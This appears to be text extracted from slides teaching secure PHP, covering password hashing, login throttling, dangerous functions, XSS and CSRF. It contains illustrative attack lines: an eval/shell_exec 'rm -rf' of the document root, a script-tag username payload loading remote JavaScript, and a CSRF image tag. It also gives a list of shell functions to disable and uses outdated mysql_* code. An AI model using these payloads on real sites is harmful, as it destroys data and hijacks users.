writing_secure_php
writing_secure_php
Applications
test.php
if ($password == "my_password") {
$authorized = 1;
}
if ($authorized == 1) {
echo "Lots of important stuff.";
}
$username = 'Admin';
$password = 'gf45_gdf#4hg';
$sql = ' SELECT `hash` FROM `users` WHERE `username` = "' .
mysql_real_escape_string($username) . '" LIMIT 1 ;';
$r = mysql_fetch_assoc(mysql_query($sql));
// The first 64 characters of the hash is the salt
$salt = substr($r['hash'], 0, 64);
$hash = $salt . $password;
// Hash the password as we did before
for ( $i = 0; $i < 100000; $i ++ ) {
$hash = hash('sha256', $hash);
}
$hash = $salt . $hash;
if ( $hash == $r['hash'] ) {
// Ok!
}
Login Systems
You should add a turing test to your admin login page.
Have a randomly generated series of letters and numbers
on the page that the user must enter to login. Make sure
this series changes each time the user tries to login, that it
is an image (rather than simple text), and that it cannot be
identified by an optical character recognition script.
Add in a simple counter. If you detect a certain number of
failed logins in a row, disable logging in to the
administration area until it is reactivated by someone
responsible. If you only allow each potential attacker a
small number of attempts to guess a password, they will
have to be very lucky indeed to gain access to the
protected area. This might be inconvenient for authentic
users, however is usually a price worth paying.
Make sure you track IP addresses of both those users who
successfully login and those who don't. If you spot
repeated attempts from a single IP address to access the
site, you may consider blocking access from that IP
address altogether.
Powerful Commands
PHP contains a variety of commands with access to
the operating system of the server, and that can
interact with other programs. Unless you need access
to these specific commands, it is highly recommended
that you disable them entirely.
For example, the eval() function allows you to treat a
string as PHP code and execute it. This can be a useful
tool on occasion. However, if using the eval() function
on any input from the user, the user could cause all
sorts of problems. You could be, without careful input
validation, giving the user free reign to execute
whatever commands he or she wants. For example –
eval("shell_exec(\"rm -rf {$_SERVER['DOCUMENT_ROOT']}\");");
Powerful Commands
The php.ini file gives you a way to completely
disable certain functions in PHP -
"disable_functions". This directive of the php.ini
file takes a comma-separated list of function
names, and will completely disable these in PHP.
Commonly disabled functions include ini_set(),
exec(),fopen(), popen(), passthru(), readfile(),
file(), shell_exec() and system().
It may be (it usually is) worth enabling safe_mode
on your server. This instructs PHP to limit the use
of functions and operators that can be used to
cause problems. If it is possible to enable
safe_mode and still have your scripts function, it
is usually best to do so.
Cross-Site Scripting (XSS)
Unlike SQL Injection, which relies on the use of
delimiters in user-input text to take control of
database queries, code injection relies on
mistakes in the treatment of text before it is
output.
Let's say you've not added a limit to username
lengths. Someone could, if they wanted, create a
user with the following username:
username<script type="text/javascript"
src="http://www.website.com/malicious.js"></script>
Anyone that then views a page with that username
on it will see a normal username, but a JavaScript has
been loaded from another site invisibly to the user.
Cross-Site Scripting (XSS)
It allows attackers to add keyloggers,
tracking scripts or porn banners on your site,
or just stop your site working altogether.
It can also used for cookie hijacking so that a
real user can be faked.
Always use htmlentities() function to output
user-generated texts.
Limit the character set that can used for a
particular text type
Disallow HTML input if possible. If that is not
an option, only allow limited HTML tags
Cross-Site Request Forgery
(CSRF)
CSRF attacks are exploits that take advantage of user
privileges to carry out an attack. In a CSRF attack,
your users can easily become unsuspecting
accomplices. For example –
<img src="http://www.example.com/processSomething?id=123456789" />
CSRF attacks are often in the form of <img> tags
because the browser unwittingly calls the URL to get
the image. However, the image source could just as
easily be the URL of a page on the same site that
does some processing based on the parameters
passed into it. When this <img> tag is placed with an
XSS attack — which are the most common of the
documented attacks — users can easily do something
with their credentials without knowing it — thus, the
forgery.
Cross-Site Request Forgery
(CSRF)
Never let the user do anything with a GET request -
always use POST.
Confirm actions before performing them with a
confirmation dialog on a separate page - and make
sure both the original action button or link and the
confirmation were clicked.
Add a randomly generated token to forms and verify
its presence when a request is made.
Time-out sessions with a short timespan (think
minutes, not hours). Encourage the user to log out
when they've finished.
Check the HTTP_REFERER header (it can be hidden,
but is still worth checking as if it is a different domain
to that expected it is definitely a CSRF request).
References
How to store passwords safely with PHP and MySQL –
http://elbertf.com/2010/01/store-passwords-safely-with-ph
p-and-mysql/
Writing secure PHP series –
http://www.addedbytes.com/writing-secure-php/writing-
secure-php-1/
http://www.addedbytes.com/writing-secure-php/writing-
secure-php-2/
http://www.addedbytes.com/writing-secure-php/writing-
secure-php-3/
http://www.addedbytes.com/writing-secure-php/writing-
secure-php-4/
Seven habits for writing secure PHP applications by IBM -
http://www.ibm.com/developerworks/opensource/library/o
s-php-secure-apps/index.html
5 Helpful Tips for Creating Secure PHP Applications -
http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-
creating-secure-php-applications/
Finally, Be
Completely and
Utterly Paranoid
Thank you